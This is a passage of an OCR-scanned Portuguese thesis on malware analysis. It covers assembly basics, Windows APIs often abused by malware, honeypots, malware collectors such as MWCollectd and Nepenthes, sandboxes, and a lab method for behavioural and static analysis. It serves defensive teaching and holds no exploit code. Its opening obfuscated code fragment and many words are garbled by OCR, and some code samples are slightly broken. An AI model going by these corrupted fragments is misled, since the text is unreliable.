3); Z=++w"1l@; p=5S0-v; VE2ARhi
CCa[A]=N(N-58)+25) ,58) <@ BEA+s;
XClearWindow (d,w); for({B=@; B<A;
dC(B++2) R Z1dLOD)] ZEEINCp)EE(Z
JALCL+INCE) , NCW=<3), B, N(R<<0), H=<9,1
+@));: usleep(p*20@); XCheckMaskEvent({d,
4, Ee)BEARS - -SEENL (4, a[N{AD)]<<D H-18<<B,e.

xbutton . xeed e, xbutton, yeed,5,8);}5+=A"100;
B=sprintf(m,Q,v,5); XDrowString(d,w .
g, N3 K2, m BY: } ) http:/'www.ioccc.orglyears.html

Figura 15: Cddigo ofuscado que fez parte do IOCCC (10ccc, 2012)

4.3 Assembly 32/64 bits do Windows

(MENDONCA; ZELENOVSKY, 2006) define Assembly como o conjunto de cddigos, em lin-
guagem de maquina, que sdo interpretados pelo processador a fim de executar uma determinada

acao.

4.3.1 Registradores
e Registradores 32 bits

1. EAX — Registrador Acumulador.
2. EBX — Registrador Base.

3. ECX — Registrador Contador.

4. EDX — Registrador de Dados.

5. ESI e EDI- Registradores de Indexacao .
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6. EBP - Registrador de Pilha — Ponteiro de Base.

7. ESP — Registrador de Pilha — Ponteiro de Pilha.
e Registradores 64 bits

1. RAX — Registrador Acumulador.

2. RBX — Registrador Base.

3. RCX — Registrador Contador.

4. RDX — Registrador de Dados.

5. RSI e RDI- Registradores de Indexacao .

6. RBP - Registrador de Pilha — Ponteiro de Base.

7. RSP — Registrador de Pilha — Ponteiro de Pilha.

A Figura 16 mostra como foi feita a evolugdo dos registradores sem haver perda de com-

patibilidade com as versdes anteriores.

- fn x86

G Added by x86-64 Lo el AH AL

Figura 16: Estrutura de compatibilidade dos registradores

4.3.2 Principais Comandos

Os comandos a seguir estio em (MENDONCA; ZELENOVSKY, 2006) e sdo algumas das

instrugdes em linguagem assembly mais comuns utilizadas.

e PUSH: Coloca o contetido do operando na pilha.

e POP: Carrega no registrador operando um dado proveniente da pilha. E utilizado em

conjunto com o PUSH.

e PUSHAD: Variante do PUSH. Coloca os contetdos de EAX, EBX, ECX, EDX , ESP,
EBP, ESI e EDI na pilha.

e POPAD: Variante do POP. Carrega EAX, EBX, ECX, EDX , ESP, EBP, ESI e EDI com
dados provenientes da pilha. E utilizado em conjunto com o PUSHAD. Por mexerem
diretamente com conteudos dos registradores, ambos sdo amplamente utilizados para c6-

digos maléficos.
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CALL: Transfere incondicionalmente a execu¢do do programa para uma rotina, tarefa ou
gate, localizados a partir de um endereco relativo ao ponteiro de instru¢@o, ou absoluto.

O retorno estd subentendiso, ocorrendo na execugdo da instru¢ao RET.

RET: Retorna da rotina para o endereco carregado na pilha pela instrugdo CALL.
MOV: Copia dados do operando fonte para o operando destino.

LEA: Coloca o offset do endereco apontado pelo operando fonte no registrador destino.
CMP: Compara operandos, modificando flags.

INC: Incrementa o operando.

DEC: Decrementa o operando.

ADD: Soma os conteudos de dois operandos (fonte e destino), armazenando o resultado

no destino.

SUB: Subtrai os conteudos de dois operandos (fonte e destino), armazenando o resultado

no destino.

MUL: Multiplica os conteddos de dois operandos (fonte e destino), armazenando o resul-

tado no destino.

DIV: Divide os contetidos de dois operandos (fonte e destino), armazenando o resultado

no destino.

AND: Faz um and bit a bit entre dois operandos e armazena o resultado no destino.
OR: Faz um or bit a bit entre dois operandos e armazena o resultado no destino.
XOR: Faz um xor bit a bit entre dois operandos e armazena o resultado no destino.

JMP: Salta incondicionalmente a execu¢do doprograma para um endereco relativo ao

ponteiro de instru¢do, ou para um enderego absoluto, ndo estando implicito o retorno.

Ainda ha as variantes do JMP, descritas na Figura 17.



Asm
ja
Jjae
jb
jbe
je
ia
jge
il
jle
jmp
jna
jnae
jnb
jnbe
jne
ing
jnge
inl
jnle
inz

jz

Hexa
77 ou OFB7
73 ou OFB3
72 ou OFB2
76 ou OFBE
74 ou OFB84
7F ou OFBF
7D ou OFBD
7C ou OFBC
7E ou OFBE

EB ou E9
76 ou OFB6
72 ou OFB2
73 ou OF83
77 ou OF87
75 ou OF85
7E ou OFBE
7C ou OFBC
7D ou OFBD
7F ou OFBF
75 ou OFB5
74 ou OFB4

Descricio
salte se acima (jump if above)
salte se acima ou igual (jump if above or equal)
salte se abaixo (jump if below)
salte se abaixo ou igual (jump if below or equal)
salte se igual (jump if equal)
salte se maior (jump if greater)
salte se maior ou igual (jump if greater or equal}
salte se menor (jump if less)
salte se menor ou igual (jump if less or equal)
salto incondicional
salte se ndo acima (jump if not above)
salte se ndo acima ou igual (jump if not above or equal)
salte se ndo abaixo (jump if not below)
salte se ndo abaixo ou igual (jump if not below or equal)
salte se ndo igual (jump if not equal)
salte se ndo maior (jump if not greater)
salte se ndo maior ou igual (jump if not greater or equal)
salte se ndo menor (jump if not less)
salte se ndo menor ou igual (jump if not less or equal)
salte se ndo zero (jump If not sero)

salte se zero (jump if zero)

Figura 17: Lista de comandos de salto em Assembly

4.3.3 Estruturas de Controle

A seguir, exemplos de instru¢des de estruturas de controle:

e Controle de fluxo:

— Cdodigo em C:
if(var > 128) var = 128;

— Codigo em Assembly:

MOV eax, [ebp+8]
CMP eax, 0x80
JBE skip

MOV eax, 0x80

skip:
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e Loops

— Codigo em C:

for (i=0; 1 < 100, i++) do_something();
— Cddigo em Assembly:

XOR eax, eax

start:

CMP eax, 0x64

JGE exit

CALL do_something

INC eax
JMP start
exit:
e Switch:
— Codigo em C:

switch (var){
case 0: var = 100; break;
case 1: var = 200; break;
}
— Cddigo em Assembly:
JMP switch_table[eax*4]
case 0:
MOV [ebp-4], 100
case 1:
MOV [ebp-4], 200
JMP end

end:

Exemplo: Programa “Ol4, Mundo” escrito em linguagem assembly na Figura 18.
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variable:

.message db “Ola, Mundo!$”
code:

mov  ah,9

mov  dx, offset .message

int 0x21

ret

Figura 18: Exemplo de codigo em linguagem de mdquina do “Old, Mundo”

4.4 API do Windows

Conforme descrito por (NPR, 2009), uma API (sigla para Application Programming Inter-
face ou Interface de Programacdo de Aplicativos) € uma maneira de duas aplicagdes de compu-

tador comunicarem-se entre si em uma linguagem comum que ambas compreendam.

A API do Windows, comumente conhecida por WinAPI é a API da Microsoft, presente nos
sistemas operacionais Windows. Era chamado de Win32 API, mas o nome excluia os sistemas
Windows de 16 bits e 64 bits. Praticamente todos os programas do Windows interagem com
o WinAPI: exce¢des notdrias estdo presentes em pequeno nimero nos sistemas Windows NT
(por exemplo, algumas rotinas executadas com a inicializacdo do Windows). Estes utilizavam

o Native API (PRICE, 2011).

A WinAPI € utilizada por todo desenvolvedor de software cujo principal foco sdo os sis-
temas operacionais Windows. Naturalmente, os desenvolvedores de malwares cujo alvo é um
sistema Windows utilizardo essa API para comunicar-se com outros programas ou com o proprio

sistema.
A seguir, uma lista das principais APIs do Windows que podem ser usadas com principios
maliciosos:
e LoadLibraryA: Carrega um moédulo especifico para o endereco do processo que o chama.

O mddulo especificado pode fazer com que outros médulos sejam carregados.

e GetProcAddress: Obtém o endrer¢o de uma fungdo ou varidvel de uma determinada
DLL.

e RegOpenKeyExA: Abre uma chave de registro especifica. Note que o nome das chaves

ndo é sensivel a tamanho.

e RegSetValueExA: Escreve os dados e o tipo de um valor especifico em uma chave de

registro. Utilizdvel apenas em aplicacdes Desktop.
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GetEnvironmentVariableA: Obtém o contetido de uma varidvel especifica do bloco de

ambiente do processo chamado.
GetWindowsDirectoryA: Retorna o caminho do diretério do Windows.
CreateMutexA: Cria ou abre um objeto Mutex nomeado ou ndo.

CreateFileA Cria ou abre um arquivo para um dispositivo I/O. Os dispositivos mais uti-
lizados sdo: arquivo, fluxo de arquivos, diretorio, disco fisico, volume, buffer do console,
etc, A funcdo retorna um valor que pode ser usado para acessar o arquivo ou dispositivo

por varios tipos de I/O dependendo das flags ou atributos especificados.

FindFirstFileA: Procura em um diretério por um arquivo ou subdiretério com o nome

que seja igual a um nome especifico ou parte de um nome especifico.
WriteFile: Escreve dados a um arquivo ou dispositivo I/O especifico.

ReadFile: L& dados de um arquivo ou dispositivo I/O especifico. A leitura ocorre na

posicao especificada pelo ponteiro do arquivo se suportada pelo dispositivo.
SetFileAttributesA: Escreve os atributos de um arquivo ou diretdrio.
GetThreadContext: Obtém o contexto de uma thread especifica.

IsDebuggerPresent: Determina se o processo chamador estd sendo debugado por um

debugger de usudrio.

FindResource Determina a localizagdo de um recurso com o tipo especificado € o nome

no mddulo especificado.
ShellExecute: Realiza uma operagdo em um arquivo especificado.
LockResource: Faz um ponteiro apontar para um recurso especifico na memoria.

CreateProcess: Cria um novo processo e sua thread primaria. O novo processo executa

no contexto seguro do processo chamador.
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Devem ser destacadas também as seguintes DLLs, as principais do sistema Win32, descri-

tas em (SIKORSKI; HONIG, 2012):

4.5

kernel32.dll: E uma DLL muito comum que contém funcionalidades primdrias, tais

como acesso € manipulacdo de memoria, arquivos e hardware.

advapi32.dll: Esta DLL prové acesso as funcionalidades avancadas do Windows como

gerenciamento de servigos e registro do sistema.

user32.dll: Esta DLL contém todos os componentes de interface com o usudrio, como

botdes, barras de rolagem e componentes para controlar e responder as acdes do usudrio.

gdi32.dll: Esta DLL contém funcdes para mostrar € manipular imagens e componentes

gréficos.

Ntdll.dll: Esta DLL € a interface com o kernel do Windows. Arquivos executdveis nor-
malmente ndo importam este arquivo diretamente, embora seja sempre importado indi-
retamente pelo kernel32.dll. Se um executdvel importa este arquivo, significa que ele
pretende utilizar funcionalidades ndo permitidas naturalmente pelo Windows. Algumas

tarefas, como esconder funcionalidades ou maniplular processos usarao esta interface.

WSock32.dll e Ws2_32.dll: Sdo DLLs de rede. Um programa que utilize ambos os

acessos provavelmente quer se conectar a uma rede ou realizar tarefas na rede.

Wininet.dll: Esta DLL contém func¢des de rede de alto nivel, que implementam protoco-
los como o FTP, HTTP e NTP.

Drivers de Windows

(MICROSOFT, 2012) descreve driver de dispositivo (do inglés device driver) como um

software que permite que o computador se comunique com o hardware ou com os dispositivos.

A Figura 19 ilustra como um driver se encaixa como intermedidrio entre um dispositivo e o

computador.

Conhecer a estrutura de um driver é importante para a andlise de malware, uma vez que os

drivers sdo utilizados com frequéncia como intermedidrios na infec¢cdo de arquivos executaveis

ou arquivos do sistema. Os drivers podem ser inclusive utilizados para esconder um malware

de um antivirus.



Dispasitivas

Drivers

‘Computador

Figura 19: Driver como intermedidrio entre um dispositivo e o computador

4.5.1 Estrutura de um Driver
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A Figura 20 exemplifica o funcionamento de um driver para um dispositivo de dudio.

O exemplo mostra mais detalhadamente a estrutura de um driver e sua comunicacdo com o

dispositivo e o computador. A parte acinzentada € o conjunto de programas que sao chamados

de driver (RIETHMULLER, 2003).

audio software
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MME e APT DirectS ound AFI AST0 AP] G5IF AP
b b b 4 b
MM System DirectSound ASIO Driver GSIF support
F F F % Fs
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Driver Kernel Module
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w

Hardware

Figura 20: Estrutura de um driver de dudio (RIETHMULLER, 2003)

Pela figura, nota-se que o driver é na verdade um conjunto de APIs mais kernel. As APIs

acessam o kernel que € carregado pelo sistema operacional na inicializacdo (RIETHMULLER,

2003).
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5 Honeypot

Em agosto de 1986, os administradores da rede de um famoso centro de pesquisas dos
Estados Unidos, Lawrence Berkley Laboratory, perceberam que havia alguém atacando a rede
e obtendo sucesso nesses ataques. Era esperado que eles retirassem a vulnerabilidade da rede,
bloqueando o invasor e impedindo o comprometimento de dados sigilosos do centro. Porém,
em vez disso, eles passaram a analisar o ataque e a monitorar o invasor. Esse acontecimento é

tido como o primeiro relato de atividades de monitoramento do atacante (STOLL, 1988).

A partir desse momento, a ideia da criagdo de mdquinas preparadas como armadilha para

invasores tornou-se eminente.

O termo Honeypot (pote de mel, em portugués) € utilizado para designar esse tipo de ma-
quina. Ela utiliza diversas ferramentas (como o coletor de malware, tema do préximo capitulo),
que tém a funcdo de, propositalmente, simular falhas de seguranca dos mais diversos tipos no

sistema e colher informacdes pessoais do invasor e detalhes da invasao.

5.1 Tipos de Honeypot
Existem dois tipos de Honeypot. Essa classificacdo € baseada na sua funcio:

e Honeypot de Pesquisa

Utilizado para acumular o méximo de informagao do invasor e da invasdo. Para isso,
o sistema necessita de um alto grau de comprometimento para deixar o invasor realizar

todos os seus objetivos. Funcionam sem ligagdo com a rede principal.

e Honeypot de Protecao

Utilizado como elemento de distragdo ou dispersdo. Possui o prop6sito de diminuir

o risco de ataque das outras maquinas da rede.
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5.2 Niveis de Honeypot

De acordo com o nivel de interatividade que o Honeypot proporciona ao atacante, pode-se

classificad-lo como (BATISTELA; TRENTIN, 2009):

e Baixa interatividade

Capazes de simular servicos bdsicos, como Telnet e FTP, o que limita bastante a
interacao do atacante com o sistema, obrigando-o a entrar em contato apenas com servigos

pré-configurados.

Sao os mais faceis de implementar em termos de instalag¢do, configuracao e manuten-

cdo, porém apresenta a desvantagem de coletar menos informagdes do ataque.

e MEédia interatividade

Permite uma maior intera¢do do atacante com o sistema, mas ainda o proibe de inte-
ragir com o sistema operacional real. Um exemplo € a criacdo de um sistema operacional

virtual, cujo objetivo € fazer com que o atacante entre nesse ambiente monitorado.

e Alta interatividade

Disponibiliza sistemas operacionais e aplicacdes reais ao atacante. Os servi¢os nao

sdo simulados e nada € restrito.

E o mais complexo de ser implementado, mas coleta a maior quantidade de informa-

¢oes do ataque.

5.3 O Projeto Honeynet Global

O objetivo do Projeto Honeynet' é melhorar a seguranga da Internet, compartilhando li-
coes aprendidas sobre as ameacas mais comuns. Isso € feito gracas a implantacdo de honeynets
em todo o mundo, captura de ataques, andlise de informagdes e compartilhamento de descober-
tas. Com base nessas informagdes, a comunidade de seguranca pode compreender melhor as

ameacas que enfrentam e como se defender contra eles (PROJECT, 2012).

O honeyTARG Honeynet Project, liderado pelo Centro de Estudos, Resposta e Tratamento
de Incidentes de Seguranca no Brasil (CERT.br), € um capitulo do Projeto Honeynet Global
focado em utilizar Honeypots de baixa interagc@o para reunir informacdes sobre abuso de infra-

estrutura da Internet por hackers e spammers.

Fazem parte do honeyTARG Honeynet Project:

'Uma Honeynet é uma rede de Honeypots.
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e Projeto SpamPots
Recolher dados relacionados com o abuso da infraestrutura da Internet pelos spam-
mers. Os principais objetivos sdo:
— Ajudar a desenvolver a pesquisa para caracterizacao de spam;
— Desenvolver melhores formas de identificar phishing e malware e de identificar bot-
nets através do abuso de proxies abertos.
e Projeto Honeypots Distribuidos

Seu objetivo € aumentar a capacidade de detec¢do de incidentes, correlacdo de even-
tos e andlise de tendéncias no espacgo Internet brasileiro. Para alcangar esses objetivos, o

projeto possui:

— Uma rede (da qual o IME ja fez parte) composta por honeypots de baixa interacao
distribuidos, hospedadas em organizacdes parceiras, cobrindo uma parte abrangente

do espaco de endereco IPv4 brasileira, como pode ser visto na Figura 21:

Figura 21: Localizacdo dos Honeypots no territorio brasileiro

— Um sistema para notificar CSIRTs (Equipes de Resposta a Tratamento de Incidentes

de Seguranga) de redes que geram ataques contra os Honeypots;
— Estatisticas publicas, como:

x Estatisticas didrias para os dados de fluxo de rede direcionado para Honeypots;

*x De hora em hora estatisticas resumidas do trafego de dados TCP/UDP direcio-

nado para Honeypots.
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6 Coletores de Malware

Os coletores de malware, utilizados nos Honeypots, servem para emular servicos vulne-
rdveis, capturar pragas virtuais e, dependendo do coletor, ainda analisar o ataque. Esse tipo de
software deve ser configurado em uma maquina sem prote¢do de um antivirus e fora da rede
principal da instituicdo, ja que o malware pode se replicar automaticamente para os computa-

dores da rede.

Essa fase de captura de malwares € de vital importancia parra o trabalho dos laboratérios

de analise de malware.

Serdo tratados nesse capitulo as principais caracteristicas dos trés coletores de malware

mais conhecidos: o Honeytrap, o Nepenthes e o MWCollectd.

6.1 Honeytrap

O Honeytrap é um deamon' de honeypot de baixa interagio utilizado para observar ataques

contra servicos de rede.

Em contraste com outros coletores, o alvo do Honeytrap ndo € a coleta do malware propri-
amente dito, mas, sim, capturar a exploracao inicial. Ele coleta e, além disso, processa as rotas

do ataque.

Ele é capaz de processar ataques desconhecidos, o que significa que nenhum conhecimento
prévio sobre um protocolo ou vulnerabilidade consegue ser usado. De qualquer forma, uma
conexdo de entrada deve ser gerada para o ataque. Dado isso, o Honeytrap implementa um
conceito de servidor dindmico para esta finalidade: ele monitora o fluxo de rede para sessdes de

entrada e gera “ouvintes” para tentar uma conexao atacado-atacante.

Com a conexdo estabelecida, o Honeytrap realiza tudo que o atacante faz no sentido con-
trario, fazendo com que este seja também infectado. Com isso, o modo como € feito o ataque

(cbdigo utilizado) a uma vulnerabilidade antes desconhecida é descoberto.

'Um daemon, acronimo de Disk And Execution MONitor (Monitor de Execugdo e de Disco), é um programa
de computador que roda de forma independente em background, ao invés de ser controlado diretamente por um
usudrio.
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Cada ouvinte pode lidar com multiplas conexdes e termina-se depois de algum tempo

inativo (WERNER, 2009).

6.2 MWCollectd

O MWCollectd é um deamon modular utilizado para coleta de malware, cuja funcionali-

dade estd espalhada por diferentes médulos em linguagem C++ e Python.

Ele € patrocinado pela Kaspersky, empresa russa produtora de softwares de segurancga para

a Internet.

A seguir, serd dada uma visdo geral sobre os diferentes médulos, como eles interagem e o

que eles fazem: (LANG, 2010)

e core
Faz com que todos os outros mddulos trabalhem juntos e sincronizados. Como o
proprio nome ja diz, é o coracdo do MWCollectd.
e download-curl
Realiza o download de binérios dos malware que sao referenciados por https ou URLs
Jip.
e download-tftp

Realiza o download de binarios dos malware através do protocolo TFTP (Trivial File
Transfer Protocol), utilizado para transferir pequenos ficheiros entre hosts de uma rede.
Nesse caso, os bindrios sdo transferidos diretamente do computador do atacante.

e dynserv-mirror

Funciona como o Honeytrap em vulnerabilidades desconhecidas.

e dynserv-nfqueue

Permite a criacdo de servidores dindmicos.

e embed-python
Incorpora a linguagem Python 3.x no MWCollectd, permitindo o rdpido desenvolvi-
mento de servidores de rede.
e filestore-binaries

Guarda todas as amostras de malware baixadas no sistema de arquivos local, usando

md5 ou sha512 como nome dos arquivos.
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Guarda todo o trafego gerado nas conexdes do MWCollectd no sistema de arquivos

para futura examinacao.

o shellcode-libemu

O libemu ¢ um emulador de x86 e uma biblioteca para detec¢ao de cédigo do shell

(programa em linguagem de maquina). No MWCollectd, ele é utilizado para descobrir o

que um certo codigo do shell faz (emulando-0) e como o malware pode ser baixado.

Esse moédulo inclui o libemu no MWCollectd.

e submit-mwsery

O mwserv € o servico de agregacdo de malwares usados pela MWCollect Alliance. O

modulo executa a submissdo de novos bindrios (incluindo o envio da amostra do malware)

e de malwares ja documentados no banco de dados do MWCollect Alliance (por questao

de estatistica).

Na Figura 22, € mostrado o MWCollectd sendo utilizado.
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wecollect.org>
c License.

Python 3.1 with 1 extension module(s) ready.

Creating 1 shellcode testing threads.

Saved stream from 173.168.104.88:3118 to 137.226.155.17:139 to filesystem.

Saved stream from 69.162.105.98:1553 to 137.226.155.22:9090 to filesystem.

Saved stream from 69.162.105.98:2682 to 137.226.155.22:9090 to filesystem.

Saved stream from 69.162.105.98:2828 to 137.226.155.22:9090 to filesystem.

Saved stream from 173.168.104.88:3117 to 137.226.155.17:445 to filesystem.

Saved stream from 69.162.105.98:2946 to 137.226.155.22:9090 to filesystem.

Figura 22: MWCollectd sendo utilizado
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6.3 Nepenthes

O Nepenthes, assim como o Honeytrap e o MWCollectd, é um deamon de honeypot de

baixa interagdo (SOURCEFORGE.NET, 2009).

Com estrutura semelhante ao MWCollectd, o Nepenthes é modular. Sua arquitetura pode

ser visualizada na Figura 23.
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Figura 23: Arquitetura do Nepenthes (BAECHER et al., 2006)

Como pode-se notar em sua arquitetura, pode-se dividir seus médulos em cinco tipos com

caracteristicas peculiares:

Moédulos de vulnerabilidade

Emulam as vulnerabilidades dos servigos de rede.

e Moddulos de anélise de codigo do shell
Analisam o c6digo do shell recebido por algum mddulo de vulnerabilidade e extraem
informacdes sobre a propagacdo do malware.
e Moddulos de busca
Utilizam a informacgao extraida dos médulos de andlise de codigo do shell para baixar

o malware de uma localidade remota.

e Modbdulos de submissao

Cuidam do malware baixado, por exemplo, salvando-o para um disco rigido, guardando-

o em um banco de dados, ou enviando-o para uma empresa de antivirus.
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e Moddulos de sessio

Guardam informagdo sobre o processo de emulacdo e ajudam na obtengcdo de uma

visdo geral dos padrdes dos dados coletados.
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7  Sandboxes

(MARTINS, 2008) define Sandbox como um mecanismo de seguranga que cria um espaco
virtual no qual todas as alteragdes em arquivos, configuracdes e downloads efetuados sdo inter-

ceptadas e, ap0s reiniciar o computador, elas sdo apagadas do disco.

Com o crescimento do ndmero de arquivos maliciosos circulando pela web, a andlise por
assinatura (antivirus) e a andlise manual (para novos malwares) se tornaram insuficientes para
a identificacdo da quantidade de malwares existentes. Houve a necessidade de automatizar os
passos da andlise manual, por isso, criou-se os sandboxes. Hoje, os sandboxes sdo capazes de
identificar cerca de 95% dos malwares novos encontrados na Internet sao identificados com
a analise automdtica de um sandbox. Os demais, capazes de escapar desta andlise, devem se

submeter a andlise manual, objeto de estudo dos Capitulos 8 e 9 deste trabalho.

As Figuras 24 e 25 mostram como um sandbox participa do processo de analise de malware.

Analise de
Malware

Estatica Dindmica

Manual Automatica

Figura 24: Passos da Andlise de Malware

Os sandboxes geralmente utilizam-se de duas tecnologias para sua implementac¢io: emu-
lagdo e virtualizacdo. Na emulacdo, o c6digo € executado em um emulador que € um software
que reproduz as fun¢des de um determinado ambiente, a fim de permitir a execucio de outros

softwares sobre ele (Ex: QEMU). Na virtualizacdo, o cédigo € executado em uma méquina vir-
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Figura 25: Como um Sandbox se encaixa na Andlise
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tual, que é um software que simula um ambiente operacional completo que se comporta como

se fosse um computador independente.

Sao funcionalidades dos sandboxes o0 monitoramento de:

e arquivos criados ou modificados;

e acessos ou modificacdes a chave do registro do sistema;

e bibliotecas dinamicas carregadas;

e areas da memoria virtual acessadas;

e processos criados;
e conexoes de rede instanciadas; e

e dados transmitidos pela rede.

Como se pode observar, um sandbox faz todas as andlises que devem ser realizadas em

uma Andlise Comportamental. Entretanto, ndo faz nenhum passo da Engenharia Reversa, como

encontrar blocos de cddigo suspeitos, funcdes de callback, etc.

A seguir, uma lista com os principais sandboxes presentes no mercado:

e CWSandbox;

e Anubis;

e Norman Sandbox;



65

ThreatExpert ;

Joebox;

CaptureBat;

Cuckoo Sandbox (freeware e nacional);

Zero Wine (freeware).

Pela lista acima, nota-se que uma desvantagem dos sandboxes é que poucos deles sdo
totalmente gratuitos. A maioria, apesar de possuir algumas funcionalidades grétis em testes

pela Internet, ndo fornecem relatérios completos.

Outra desvantagem € que nao existe um modelo padrao de relatério entre as sandboxes do

mercado. Cada uma delas d4 uma reposta particular.

A terceira desvantagem, ja citada anteriormente, € que nem todos os cédigos maliciosos
sdo identificados pela andlise automatizada dos sandboxes. Sendo assim, as andlises manu-
ais (comportamental e estdtica) recebem uma grande importancia no processo de deteccao de

malwares.
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8 Infraestrutura do Laboratorio de
Malware

O trabalho, até entdo, esteve focado em descrever os diversos processos, métodos e ferra-

mentas que devem estar presentes em um laboratdrio de andlise de malware.

Esse capitulo destina-se a detalhar a interliga¢do entre os mais diversos componentes do
laboratdrio, apresentando suas estruturas ldgica e fisica, além de descrever uma metodologia do

processo de deteccdo de malwares, utilizando-se de técnicas de andlise dindmica e estética.

8.1 Estrutura Légica do Laboratorio

A estrutura l6gica do laboratdrio de andlise de malware diz respeito a como os componen-

tes do laboratdrio se organizam e se comunicam e estd detalhada na Figura 26:
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Figura 26: Projeto de Laboratorio de Malware



67

E da Internet que sdo capturadas as pragas virtuais que se tornario objetos de estudo.

Essa captura € realizada por redes de maquinas preparadas como armadilha para invaso-
res, denominadas Honeynets, cujas maquinas possuem softwares denominados Coletores de
Malware, que simulam vulnerabilidades para atrai-los. Um exemplo desse tipo de programa é
o MWCollect.

Os arquivos PE (executdveis) coletados passam por um processo de andlise, a qual € divi-
dida em trés ramos, no intuito de determinar se realmente tratam-se de softwares maliciosos e,
se 1sso for verdade, gerar assinaturas proprias (CreateSig) que os identifiquem como malwares.
Essas assinaturas devem ser registradas pelos antivirus para que estes possam identifici-los

na maquina de qualquer usudrio.

Como visto na Figura 26, os trés ramos da andlise encontram-se em cores diferentes e

serdo explicados abaixo:

e A regido amarela concentra-se em estudar a estrutura dos arquivos executdveis coletados.

As informagdes geradas servem para abastecer a regido verde, que serd descrita abaixo.

e A regido verde diz respeito a andlise realizada por Sandboxes, tema do capitulo sete do
trabalho. Os arquivos coletados sao inseridos nelas e passam por uma espécie de andlise
automatizada, ja que essas caixas apresentam inteligéncia artificial (IA). Esse tipo de

andlise € responsdvel por detectar a grande maioria dos arquivos maliciosos.

z

e A regido vermelha, foco de secdes desse capitulo, é a andlise manual e aprofundada
do cédigo (Engenharia Reversa) e do comportamento (Analise Comportamental) dos
executaveis. Os malwares mais elaborados, normalmente os criados com propdsitos es-
peciais, como sabotagem governamental (o malware Stuxnet € um exemplo disso), sdao

construidos de tal forma que os Sandboxes nao conseguem detecté-los.

8.2 Estrutura Fisica e Softwares do Laboratério

Apesar da complexidade do trabalho realizado no laboratdrio, os equipamentos necessa-
rios para montd-lo sdo poucos e simples. Com um conjunto de computadores e roteadores

robustos, a andlise de malware ja pode ser realizada.

A dificuldade maior estd em se obter bons softwares para realizar o trabalho. Abaixo, uma
lista de classes de softwares que devem ser utilizados para realizar o processo global, assim

como os recomendados para tal:

e Honeypot que contenha um coletor de malware, para a captura dos arquivos maliciosos.
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Recomenda-se o MWCollect.
e Sandbox, para a andlise automatizada. Recomenda-se o Cuckoo Sandbox.
e Programa para andlise de estrutura de arquivos executdveis. Recomenda-se o PEScanner.

e Midquina virtual, que permita a realizacdo da andlise em ambiente fechado e protegido.

Recomenda-se o VMWare.

e Farejador, para observar as atividades de trafego na rede que o arquivo candidato a

malware realizar. Recomenda-se o Wireshark.

e Analisador de processos, para verificar a arvore de processos aberta pelo arquivo. Utilizou-

se 0 Process Explorer nesse trabalho.

e “Fotégrafo” de registros no sistema, que identifica quais registros foram modificados,

inseridos ou apagados apds a execugdo do arquivo. Utilizou-se o Regshot para tal analise.

e Disassembler, para verificar, em linguagem de maquina, o funcionamento em baixo nivel
do arquivo analisado, fundamental para a Engenharia Reversa. Utilizou-se o IDA Pro

Free.

Além dos citados, recomenda-se a utilizagdo conjunta do Sandboxie, que executa pro-
gramas Windows em um ambiente Sandbox, e do Buster, que registra acessos ao sistema de
arquivos, registros e outros. Os logs produzidos pelo Buster mostram as APIs utilizadas pelo

sistema, conforme mostra a Figura 27.
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Figura 27: Buster em Execugdo
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8.3 Metodologia para o Processo de Deteccao de Malware

Como dito anteriormente, alguns c6digos maliciosos ndo sdo detectados apenas com a
utilizagdo dos Sandboxes, por serem mais elaborados e conterem funcionamentos maliciosos

que ndo sdo acionados enquanto em ambientes controlados.

Nesses casos, uma andlise mais aprofundada € necessaria e ndo existe nenhuma classe de
programa que a realize automaticamente, sendo necessario o trabalho manual de um analista

capacitado.

No intuito de facilitar esse trabalho, foi criada uma metodologia de como deve ser reali-

zada essa andlise, que se divide em comportamental e estética.

Deve ser lembrado que a manipulacio de um arquivo possivelmente malicioso pode colo-
car em risco a maquina. Portanto, todos os passos devem ser executados em maquinas virtuais,

as quais ndo devem possuir nenhum tipo de servico ou arquivo importante para o laboratoério.

8.3.1 Metodologia da Analise Comportamental

O primeiro passo a ser dado na tentativa de deteccdo de um c6digo malicioso € verificar o

comportamento do arquivo assim que executado.

Uma observagdo importante antes de se iniciar a Andlise Comportamental é fazer um
backup da maquina virtual utilizada para que cada um dos passos nao interfira ou dificulte as

analises dos outros.

Por exemplo: executar outros programas durante a captura de registros dificultard a leitura
do relatério gerado, uma vez que esses programas também podem realizar acessos ao registro

do sistema.

Segue abaixo como essa verificacdo deve ser feita:

1. Executar o arquivo e atentar para os efeitos de execugdo perceptiveis

2. Capturar o trafego de rede

Utilizando um farejador (por exemplo Wireshark), verificar se houve comunicacdes
estabelecidas com a rede. Qualquer comunicacao pode ser envio de dados ou pedido de
download de um arquivo. Apoés capturar o trafego de rede, verificar o remetente/destinatério

para tentar descobrir a origem do atacante.
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3. Analisar o acesso ao sistema de arquivos

Executando o Process Explorer é possivel verificar todas as DLLs e processos abertos,
bem como identificar quem estd executando cada processo. Também € possivel eliminar
uma arvore de processos se necessdrio. Ao analisar um processo verificar as suas DLLs e

identificar as maliciosas.

4. Analisar o acesso ao registro

Com o Regshot clicar na op¢ao /st Shot. Executar apenas o programa que se deseja
analisar. Clicar na op¢do 2nd Shot e enfim, Compare. ApOs isso, verificar os registros

acessados e determinar o que foi alterado com suas alteragdes.

5. Dar o veredicto baseado na Anélise Comportamental

Ap0s realizados todos os itens anteriores e de posse de todas as informagdes e dados
adquiridos com eles, deve ser concluido se o software estudado é considerado malicioso

ou se nao ha provas suficientes para que ele o seja.

8.3.2 Metodologia da Analise Estatica

O segundo passo para a determinacdo de se um arquivo estudado € malicioso ou ndo € a

andlise dos componentes estdticos do software, ou seja, do préprio codigo.

Para isso, um disassembler, aquele que converte um programa em uma sequéncia de ins-

trugdes em codigo assembly, seré utilizado.

A ferramenta escolhida para uso no trabalho foi o IDA Pro Free, capaz de manipular exe-
cutdveis de praticamente qualquer tipo de processador, sendo uma ferramenta bastante utilizada

na Engenharia Reversa. (VENERE, 2009)

Sua grande gama de plugins especialmente feitas para ele encontrada na Web tornam sua

capacidade de andlise praticamente ilimitada.

Uma caracteristica importante do IDA Pro € que, para se realizar a andlise de um arquivo,
nao € necessdria a sua execugdo. O IDA Pro mostra seu c6digo em bindrio e, a partir dele, todos

os tipos de estudos podem ser realizados sem o perigo de uma infec¢do na maquina.

Podem ser realizadas operacdes que permitem ao analista inserir comentarios, consertar
cddigos que tenham sido erroneamente identificados pelo IDA, criar ou remover fungdes, estru-

turas e tipos, renomear objetos e outras.

Alguns recursos importantes que o IDA apresenta e que serdo utilizados no estudo sdo

listados a seguir:
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Lista de nomes

